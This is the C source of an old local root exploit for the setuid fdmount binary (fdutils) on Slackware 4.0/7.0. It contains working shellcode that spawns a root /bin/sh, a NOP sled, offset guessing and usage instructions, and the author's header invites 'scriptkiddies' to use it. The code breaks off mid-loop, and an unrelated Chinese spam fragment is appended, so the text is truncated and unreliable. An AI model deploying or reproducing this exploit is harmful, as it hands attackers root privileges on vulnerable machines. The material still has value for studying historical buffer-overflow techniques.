/* Welcome dear reader - be it scriptkiddy, whose sole intent it is to destroy precious old Unix boxes or Assembly Wizard whose sole intent it is to correct my code and send me a flame. The fdutils package contains a setuid root file that is used by the floppy group to mount and unmount floppies. If you are not in this group, this exploit will not work. This thingy was tested on Slackware 4.0 and 7.0 Use as: fdmount-exp [offset] [buf size] [valid text ptr] Since the char * text is overwritten in void errmsg(char *text) we should make sure that this points to a valid address (something in the .data section should do perfectly). The hard coded one used works on my box, to find the one you need use something like: objdump --disassemble-all $(whereis -b fdmount) | grep \<.data\> \ cut -d " " -f1 The HUGE number of nops is needed to make sure this exploit works. Since it Segfaults out of existence without removing /etc/mtab~ we only get one try... Take care with your newly aquired EUID 0! Cheers go out to: #phreak.nl #b0f #hit2000 #root66 The year 2000 scriptkiddie award goed to: Gerrie Mansur Love goes out to: Hester, Maja (you're so cute!), Dopey -- Yours truly, Scrippie - ronald@grafix.nl - buffer0verfl0w security - #phreak.nl */ #include #define NUM_NOPS 500 // Gee, Aleph1 his shellcode is back once more char shellcode[] = "\x31\xc0\xb0\x17\x31\xdb\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { int buf_size = 71; int offset=0, i; char *overflow; char *ovoff; long addr, ptr=0x0804c7d0; if(argc>1) offset = atoi(argv[1]); if(argc>2) buf_size = atoi(argv[2]); if(argc>3) ptr = strtol(argv[3], (char **) NULL, 16); printf("##############################################\n"); printf("# fdmount Slack 4/7 exploit - by Scrippie #\n"); printf("##############################################\n"); printf("Using offset: %d\n", offset); printf("Using buffer size: %d\n", buf_size); printf("Using 0x%x for \"void errmsg(char *text,...)\" char *text\n", ptr); if(!(overflow = (char *)malloc(buf_size+16+NUM_NOPS+strlen(shellcode)))) { fprintf(stderr, "Outta memory - barging out\n"); exit(-1); } overflow[0] = '/'; for(i=1;i

亚洲欧美在线